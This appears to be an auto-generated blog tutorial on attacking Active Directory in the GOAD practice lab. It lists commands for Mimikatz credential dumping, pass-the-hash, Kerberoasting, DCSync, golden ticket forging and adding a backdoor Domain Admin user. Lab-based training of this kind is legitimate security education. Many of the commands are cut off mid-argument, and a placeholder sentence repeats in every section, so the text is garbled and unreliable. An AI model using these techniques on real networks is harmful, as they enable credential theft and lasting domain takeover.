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Introduction:
Active Directory (AD) is the cornerstone of modern corporate networks, making it a prime target for cyber attackers. Mastering AD penetration testing is no longer optional for security professionals; it is a critical skill for identifying and mitigating vulnerabilities that could lead to full domain compromise. The Game of Active Directory (GOAD) project provides a purposefully vulnerable, free lab environment where you can safely practice these offensive security techniques without risking a production network.
Learning Objectives:
- Understand the core attack vectors within an Active Directory environment, including credential dumping, lateral movement, and privilege escalation.
- Gain hands-on experience with essential pentesting tools such as Impacket, BloodHound, and Mimikatz in a controlled setting.
- Learn to chain multiple exploitation techniques to achieve domain administrator privileges from an initial low-level foothold.
You Should Know:
1. Setting Up Your GOAD Lab Environment
The first step is deploying the vulnerable lab. GOAD is designed to run on a virtualization platform like VirtualBox or VMware, using pre-built images to minimize setup complexity. This allows you to focus on hacking, not configuration.
Step‑by‑step guide explaining what this does and how to use it.
1. Prerequisites: Ensure you have a hypervisor (e.g., VirtualBox/VMware) and at least 8GB of RAM free on your host machine.
2. Download the Project: Clone the GOAD repository from GitHub: `git clone https://github.com/Orange-Cyberdefense/GOAD.git`
3. Run the Installer: Navigate to the project directory and run the setup script. On a Linux host, this might involve: `cd GOAD && ./install.sh` The script will automatically download and configure the virtual machines.
4. Network Configuration: The installer sets up an isolated internal network for the VMs. Once complete, you will have a small AD forest ready for testing.
2. Initial Reconnaissance and Enumeration
Before attacking, you must map the network and identify targets. Enumeration is the process of gathering information about users, computers, groups, and network services.
Step‑by‑step guide explaining what this does and how to use it.
1. Discover Domain Controllers: From your attacker machine (e.g., a Kali Linux VM on the same network), use `nmap` to scan the network range: `nmap -sV -sC 192.168.56.0/24` (Replace with the GOAD subnet).
2. Enumerate Users with Kerbrute: Use a tool like `kerbrute` to perform user enumeration via Kerberos pre-authentication: `kerbrute userenum –dc
3. Gather Intel with BloodHound Python: Run the BloodHound ingestor from your Linux attacker machine to collect AD data: `bloodhound-python -d
3. Initial Compromise and Credential Theft
Gaining an initial foothold often involves compromising a single set of user credentials. In AD, these credentials can be stored in various locations on compromised machines.
Step‑by‑step guide explaining what this does and how to use it.
1. Dump LSASS Memory with Mimikatz: Once you have administrative access to a Windows machine, use Mimikatz to extract credentials from memory.
On the Windows target: `mimikatz privilege::debug` mimikatz sekurlsa::logonpasswords
2. Pass-the-Hash Attack: Use the recovered NTLM hash to authenticate to other systems without knowing the plaintext password. With the Impacket suite on Linux: `python3 psexec.py -hashes
4. Lateral Movement and Privilege Escalation
Moving from one computer to another and increasing your privileges is key to controlling the domain. Techniques like Pass-the-Ticket and Kerberoasting are commonly used.
Step‑by‑step guide explaining what this does and how to use it.
1. Kerberoasting: Request service tickets for accounts with SPNs and attempt to crack them offline to get their passwords.
On a Linux attacker box, use Impacket’s GetUserSPNs.py: `GetUserSPNs.py
Crack the retrieved hash with hashcat: `hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt`
2. Abusing Kerberos Tickets: Dump a Kerberos TGT (Ticket Granting Ticket) with Mimikatz and use it to access other resources: `mimikatz sekurlsa::tickets /export` You can then use this ticket with a tool like Rubeus or Impacket’s `ticketConverter.py` and psexec.py.
5. Domain Dominance and Persistence
The final goal is to achieve Domain Admin privileges and establish a persistent presence to maintain access.
Step‑by‑step guide explaining what this does and how to use it.
1. DCSync Attack: With Domain Admin rights, you can perform a DCSync to extract the password hashes of all domain users directly from the Domain Controller.
Using Mimikatz: `mimikatz lsadump::dcsync /domain: /user:Administrator`
- Golden Ticket Attack: Forge a Kerberos TGT grant ticket, giving you persistent access to any resource in the domain.
Using Mimikatz, you need the `krbtgt` user’s NTLM hash: `mimikatz kerberos::golden /user:fakeadmin /domain:/sid: /krbtgt: /ptt`
3. Create a Backdoor User: Establish persistence by creating a new user and adding it to privileged groups: `net user backdooruser P@ssw0rd! /add /domain`net group "Domain Admins" backdooruser /add /domain
What Undercode Say:
- The GOAD lab is an invaluable, risk-free platform that accurately simulates the complex attack paths present in real-world enterprise networks.
- Success in AD pentesting relies on understanding the intricate relationships between users, groups, and computers, which tools like BloodHound perfectly visualize.
- The shift towards free, open-source training resources like GOAD and the accompanying OCD mindmaps is democratizing high-quality cybersecurity education, allowing a broader range of professionals to build essential defensive and offensive skills. This proactive approach to training is crucial for building resilience against the escalating threat of identity-based attacks, which remain the primary vector for major enterprise breaches. By practicing these attacks, blue teams can better understand the adversary’s playbook and implement more effective detection and hardening strategies, such as disabling NTLM, enforcing Least Privilege, and monitoring for abnormal Kerberos ticket requests.
Prediction:
The normalization of sophisticated, accessible AD pentesting labs like GOAD will lead to a dual effect on the cybersecurity landscape. On one hand, it will empower a new generation of security professionals to build critical hands-on skills, strengthening organizational defenses. On the other hand, it lowers the barrier to entry for less-skilled attackers, who can now easily practice and automate complex attack chains. This will likely force a rapid evolution in defensive technologies, with a greater emphasis on AI-driven anomaly detection for identity-based attacks, the widespread adoption of Zero Trust architectures, and the mandatory implementation of more robust authentication protocols like Kerberos armoring and certificate-based authentication, ultimately making legacy AD configurations untenable.
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IT/Security Reporter URL:
Reported By: Dorota Kozlowska – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
